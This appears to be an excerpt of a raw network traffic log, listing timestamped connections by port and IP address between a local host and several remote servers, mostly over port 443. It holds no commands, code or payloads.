Nov 13, 2024 14:41:28.239995956 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.240056038 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.240065098 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.247942924 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.248001099 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.248008966 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.253890038 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.253942966 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.254007101 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.254654884 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.254671097 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.256622076 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.256674051 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.256680012 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.260914087 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.260977983 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.260984898 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.267160892 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.267206907 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.267221928 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.267230034 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.267277956 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.271521091 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.276282072 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.276334047 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.276344061 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.281192064 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.281260014 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.281274080 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.286166906 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.286215067 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.286222935 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.286231041 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.286272049 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.291155100 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.296353102 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.296401024 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.296406984 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.301064968 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.301120043 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.301147938 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.301168919 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.301222086 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.305905104 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.311528921 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.311578035 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.311603069 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.311619043 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.311671019 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.315850973 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.321088076 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.321151018 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.321158886 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.325685024 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.325731039 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.325782061 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.325797081 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.325850010 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.330786943 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.335561037 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.335597992 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.335618019 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.335632086 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.335669994 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.340605021 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.345412016 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.345443964 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.345459938 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.345468998 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.345525980 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.350280046 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.355283976 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.355325937 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.355340004 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.355355978 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.355407953 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.359553099 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.360172987 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.364779949 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.364815950 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.364825964 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.364833117 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.364873886 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.367938042 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.368227959 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.368251085 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.368750095 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.368763924 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.369332075 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.371454000 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.371471882 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.373522043 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.373528004 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.373856068 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.373889923 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.373924971 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.373933077 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.373969078 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.378654003 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.380765915 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.382716894 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.382780075 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.382786989 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.385430098 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.385446072 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.385921001 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.385934114 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.396418095 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.397923946 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.397974014 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.398350954 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.398360968 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.407867908 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.408452988 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.408483028 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.409028053 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.409039021 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.447381973 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:28.448020935 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:28.448034048 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:28.449165106 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:28.449237108 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:28.451720953 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:28.451795101 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:28.495157003 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.495189905 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.495260000 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.495280027 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.495306015 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.495729923 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.495729923 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.495747089 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.495750904 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.498083115 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:28.498094082 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:28.499211073 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.499269962 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.499316931 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.499420881 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.499434948 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.499444962 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.499449968 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.507275105 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.507364035 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.507472992 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.507488012 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.508025885 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.508115053 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.508167028 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.508701086 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.508713007 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.508723974 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.508729935 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.531343937 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.531630993 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.531687975 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.532011986 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.532027960 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.532052994 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.532058001 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.534631014 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.534671068 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.534774065 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.534786940 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.534816027 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.534956932 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535515070 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535532951 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.535640955 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535654068 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.535672903 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535706997 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.535851955 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535852909 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.535890102 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.536561966 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.536570072 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.536623001 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.536808968 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.536822081 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538585901 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538610935 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538667917 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.538688898 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538901091 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.538901091 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.538921118 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538937092 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.538984060 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.541815996 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.541848898 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.541932106 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.542152882 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:28.542166948 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:28.645445108 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:28.854043961 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.854125977 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.854294062 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.854304075 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.854414940 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.854425907 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.855299950 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.855376005 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.855499029 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.855547905 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.857105017 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.857177973 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.858386993 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.858460903 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.858818054 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.858834982 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.859179974 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.859188080 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.860812902 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.862782955 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.862797976 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.863926888 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.863991022 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.865382910 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.865452051 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.865596056 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.907351971 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.989916086 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.990003109 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.990456104 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.990475893 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.995680094 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.995680094 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.995851994 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.995851994 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.996608973 CET	49840	443	192.168.2.7	162.159.61.3
Nov 13, 2024 14:41:28.996629953 CET	443	49840	162.159.61.3	192.168.2.7
Nov 13, 2024 14:41:28.997059107 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.997065067 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:29.106112003 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.106204987 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.151858091 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.151882887 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.152132988 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.153805017 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.153882980 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.153907061 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.238722086 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:29.238922119 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:29.272546053 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.273026943 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.273037910 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.273471117 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.273474932 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.277297974 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.277652025 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.277673960 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.278090954 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.278095961 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.279558897 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.279922962 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.279934883 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.280169964 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.280432940 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.280447006 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.281125069 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.281409025 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.281425953 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.281765938 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.281770945 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.282152891 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.282166958 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.282689095 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.282702923 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.401628971 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.401657104 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.401715040 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.401724100 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.401844025 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.401890039 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.402026892 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.402034044 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.402044058 CET	49843	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.402049065 CET	443	49843	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.411448002 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.411534071 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.411602020 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.411849022 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.411849022 CET	49845	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.411864996 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.411873102 CET	443	49845	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.413587093 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.413754940 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.413844109 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.414026022 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.414047956 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.414094925 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.414112091 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.414186954 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.415148020 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.415209055 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.415693998 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.416593075 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.416593075 CET	49847	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.416604042 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.416613102 CET	443	49847	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.424652100 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.424730062 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.424890041 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429177999 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429214954 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.429269075 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429460049 CET	49852	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429471970 CET	443	49852	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.429625034 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429649115 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.429661989 CET	49844	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.429667950 CET	443	49844	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.429990053 CET	49851	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.430032969 CET	443	49851	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.431642056 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.431649923 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.431660891 CET	49846	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.431663990 CET	443	49846	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.432698011 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.432734013 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.432800055 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.433201075 CET	49853	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.433214903 CET	443	49853	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.435034990 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.435043097 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.435152054 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.435623884 CET	49854	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.435630083 CET	443	49854	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.435791016 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.435801029 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.435854912 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.436194897 CET	49855	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:29.436207056 CET	443	49855	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:29.523581028 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:29.528398991 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:29.574193001 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.702723980 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:29.702745914 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:29.706235886 CET	49834	443	192.168.2.7	40.126.32.136
